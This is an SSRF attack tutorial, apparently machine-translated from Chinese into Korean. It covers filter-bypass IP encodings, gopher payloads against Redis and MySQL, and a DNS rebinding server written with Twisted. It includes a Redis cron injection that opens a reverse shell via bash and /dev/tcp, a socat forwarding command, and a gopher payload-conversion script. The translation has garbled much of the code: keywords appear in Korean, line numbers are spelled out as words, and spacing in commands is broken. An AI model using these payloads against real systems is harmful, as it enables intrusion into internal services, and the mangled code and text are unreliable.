제목 : SSRF 취약성 관련

SSRF 漏洞相关​

1 定义与原理​

1.1 定义​

SSRF (Server-Side Request Grospher), 공격자의 요청을 구성하고 서버의 요청을 시작하는 보안 취약점. 일반적으로 SSRF 공격의 목표는 외부 네트워크에서 액세스 할 수없는 내부 시스템입니다.
SSRF를 형성하는 이유는 대부분 서버가 다른 서버 응용 프로그램에서 데이터를 얻는 기능을 제공하고 대상 주소를 필터링하거나 제한하지 않기 때문입니다. 예를 들어, 지정된 URL 주소에서 웹 페이지 텍스트 내용을 얻고 지정된 주소의 그림을로드, 다운로드 등으로로드하십시오.
20210111165741.png-water_print

1.2 特点​

공격자는 대상 기계의 서비스에 직접 액세스 할 수 없습니다 2
Target Machine 1은 Target Machine 2의 서비스에 액세스 할 수 있습니다.
Target Machine 1은 공격자가 이용할 수있는 Target Machine 2에 액세스하는 방법을 노출시킵니다.
20210111170123.png-water_print

1.3 检测方法​

SSRF 취약점은 서버가 요청을 보낼 수있는 보안 취약점이므로 SSRF 취약성이 존재하는지 여부를 결정하기 위해 서버에서 전송 요청이 전송되었는지 여부를 분석하는 데 사용될 수 있습니다.
페이지 소스 코드에서 액세스 된 리소스 주소를 찾으십시오. 리소스 주소 유형이 www.baidu.com/xxx.php?image=(Address) 인 경우 SSRF 취약점이있을 수 있습니다.

1.4 PHP 中的相关函数​

file_get_contents ()
fsocckopen ()
curl_exec ()

1.4 危害​

외부 네트워크의 포트, 서버가있는 인트라넷 및 지역 영역을 스캔하여 일부 서비스의 배너 정보를 얻을 수 있습니다.
인트라넷 또는 로컬에서 실행되는 공격 응용 프로그램 (예 : 오버플로)
인트라넷 웹 애플리케이션의 지문 및 기본 파일에 액세스하여 구현
내부 및 외부 네트워크에서 웹 애플리케이션을 공격하는 것은 주로 Get 매개 변수를 사용하여 달성 할 수있는 공격이 포함됩니다 (예 : Struts2 취약성 착취, SQL 주입 등).
파일 프로토콜을 사용하여 로컬 파일을 읽으십시오

2 绕过方法​

2.1 IP 绕过​

포트 추가
짧은 URL이지만 기본적으로 CURL 명령은 활성화되지 않습니다. 302 점프를 따르십시오
도메인 이름 xip.io, 127.0.0.1.xip.io는 모든 IP를 가리 킵니다
IP 제한 우회
127.0.0.1
0177.0.0.1 10 월
0x7f.0.0.1 16 진
16 진 디미터 http://0x7f000001
10 진수 http://2130706433에서 분리기를 제거하십시오

2.2 其它 Tips​

Dict: //file: //gopher: //결합
www.baidu.com 사용자 이름을 사용하여 192.168.0.1 웹 사이트에 액세스 할 수있는 권한이 있는지 여부를 감지하십시오.
짧은 연결 (301 점프, 외부 네트워크에 액세스 할 수 있어야 함)

2.3 Gopher 协议​

Gopher는 인터넷에서 사용되는 분산 파일 수집 및 획득 네트워크 프로토콜입니다.
Gopher 프로토콜은 GET 및 POST 요청 발행을 지원합니다. 먼저 GET 요청 패키지 및 게시물 요청 패키지를 가로 채고 GoPher 프로토콜을 준수하는 요청을 구성 할 수 있습니다. Gopher 프로토콜은 SSLF 사용에서 가장 강력한 프로토콜 (일반적으로 범용 프로토콜) 중 하나입니다.

2.3.1 Gopher 控制 Redis 反弹 shell​

전제
Redis는 승인되지 않았습니다
Redis는 Cron에게 쓰기 권한이 있습니다
20210111224322.png-water_print

通过 socat 抓流量스크립트 :
1
2
3
4
echo -e '\ n */1 * * * * * bash -i/dev/tcp/ip/port 0 1 \ n \ n'| redis -cli -h $ 1 -p $ 2 -x set 1
redis -cli -h $ 1 -p $ 2 구성 세트 dir/var/spool/cron
Redis -Cli -H $ 1 -P $ 2 구성 설정 DBFILENAME 루트
Redis -Cli -H $ 1 -P $ 2 종료
실행 :/shell.sh 127.0.0.1 4444
流量转发1
SOCAT -V TCP-LISTEN:4444, 포크 TCP-CONNECT:IP:6379
20210111225155.png-water_print

교통 전환
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
# 코딩 : UTF-8
SYS 가져 오기
exp='' '
f:으로 Open (sys.argv [1])
f.readlines () :의 라인
'+':에서 라인 [0]
계속 계속하십시오
# 두 번째 및 세 번째 마지막 문자열이 \ r인지 결정
elif line [-3:-1]==r '\ r':
# 라인에 \ r 만있는 경우 \ r을%0a%0d%0a로 바꿉니다.
LEN (LINE)==3: 인 경우
exp=exp + '%0a%0d%0a'
else:
line=line.replace (r '\ r', '%0d%0a')
# 마지막 줄 브레이크를 제거합니다
line=line.replace ( '\ n', '')
exp=exp + 라인
# 빈 줄 여부를 결정하고 빈 줄을 %0A로 교체하십시오.
elif line=='\ x0a':
exp=exp + '%0a'
else:
line=line.replace ( '\ n', '')
exp=exp + 라인
인쇄 exp

2.3.2 Gopher 对 Mysql 的利用​

전제 조건 :
SSRF 취약성이 존재합니다
MySQL 비밀번호 없음
고퍼 프로토콜 변환
1
2
3
4
5
6
Gopher: //127.0.0.1:3306/_
+ URL 인코딩 로그인 요청
+ 패킷 길이 (Wireshark는 패킷을 잡을 때 패킷 길이를 직접 볼 수 있습니다)
+%00%00%00%03
+ 쿼리 문 (URL 인코딩)
+%01%00%00%00%01

2.3.3 相关工具​

20210112101832.png-water_print

20210112101956.png-water_print

2.4 DNS 重绑定攻击​

2.4.1 原理​

일반 웹 애플리케이션 방어 SSRF 프로세스는 다음과 같습니다.
20210112101758.png-water_print

입력 URL을 가져 와서 URL에서 호스트를 추출하십시오.
호스트에서 DNS 해상도를 수행하고 해결 된 IP를 얻으십시오.
개인 IP인지 여부와 같이 IP가 합법적인지 여부를 감지하십시오.
IP가 합법적으로 감지되면 컬 단계에 패킷이 입력됩니다.
이 과정에서 DNS 해상도가 총체적으로 수행되는 것으로 관찰되었습니다. 첫 번째는 URL 호스트에서 DNS 해상도를 수행하는 것이었고, 두 번째는 CURL을 사용하여 패킷을 보내는 경우 해상도를 수행하는 것이 었습니다. 이 두 DNS 해상도 사이에는 시차가 있으며이 시차를 사용하여 우회 할 수 있습니다.
시차에 해당하는 DNS의 메커니즘은 TTL입니다. TTL은 DNS에서 도메인 이름 및 IP 바인딩 관계의 캐시가 가장 오랜 시간을 나타냅니다. 즉, 도메인 이름과 IP 간의 관계를 요청한 후 요청 당사자는 관계를 캐시하고 캐시는 TTL에서 유지됩니다. 캐시가 만료 된 후 삭제됩니다. 현재 도메인 이름으로 지정된 IP를 다시 방문하면 일치하는 관계 및 캐시가 다시 설정됩니다.
위의 프로세스에서 두 번째 DNS 해상도 중에 URL에 해당하는 IP를 변경할 수 있다면 TTL 이후이 URL을 다시 방문하고 캐시가 만료 된 후 교체 된 IP를 얻을 수 있습니다. 처음으로 법적 IP로 IP를 설정하면 호스트 합법성 수표를 우회 할 수 있습니다. IP를 두 번째로 인트라넷 IP로 설정하면 SSRF가 인트라넷에 액세스하는 목적을 달성 할 수 있습니다.
요약
DNS Rebinding Attack의 원칙은 다음과 같습니다. 서버 사이의 짧은 간격을 사용하여 동일한 도메인 이름을 두 번 해결하고 도메인 이름 뒤의 IP를 교체하여 동일한 오리핀 전략 또는 SSRF를 통해 WAF를 통과하는 목적을 달성 할 수 있습니다.

2.4.2 实现​

一些 DNS Rebinding 平台 手动实现NS 레코드와 레코드를 먼저 추가해야합니다.
레코드 유형
호스트 레코드
레코드 가치
ns
시험
ns.geekby.xyz
에이
ns
39.96.14.41
NS 레코드는 도메인 이름 test.geekby.xyz를 나타냅니다.
여기서 DNS 서버는 트위스트 파이썬 라이브러리의 이름 모듈을 사용하여 구축되며 코드는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Twisted. Internet import Reactor에서 연기
Twisted.Names 가져 오기 클라이언트, DNS, 오류, 서버
레코드={}
클래스 DynamicResolver (객체) :
def _dodynamicresponse (self, query) :
이름=query.name.name
이름이 기록되지 않거나 기록되지 않은 경우 [이름] 1:
IP='127.0.0.1'
else:
IP='1.2.3.4'
record:에 이름이없는 경우
레코드 [이름]=0
레코드 [이름]+=1
인쇄 이름+'==='+IP
답=dns.rrheader (
이름=이름,
type=dns.a,
cls=dns.in,
ttl=0,
Payload=dns.record_a (주소=b '%s'%ip, ttl=0)
))
답변=[답]
권위=[]
추가=[]
답변, 권위, 추가
DEF Query (Self, Query, TimeOut=None) :
return defer.succeed (self._dodynamicresponse (query))
def main () :
Factory=server.dnsserverfactory (
clients=[dynamicResolver (), client.resolver (resolv='/etc/resolv.conf')]
))
프로토콜=DNS.DNSDATAGRAMPROTOCOL (컨트롤러=공장)
Reactor.listenudp (53, 프로토콜)
Reactor.run ()
__name__=='__ 메인 __': 인 경우
SystemExit 증가 (main ())

2.4.3 防御方法​

DNS 쿼리 요청 간의 간격을 TTL 값보다 낮게 제어함으로써 두 쿼리의 결과가 일치하도록합니다.
Java 응용 프로그램의 기본 TTL은 10 초 이며이 기본 구성으로 인해 DNS Rebinding이 우회전에 실패합니다.
 
뒤로
상단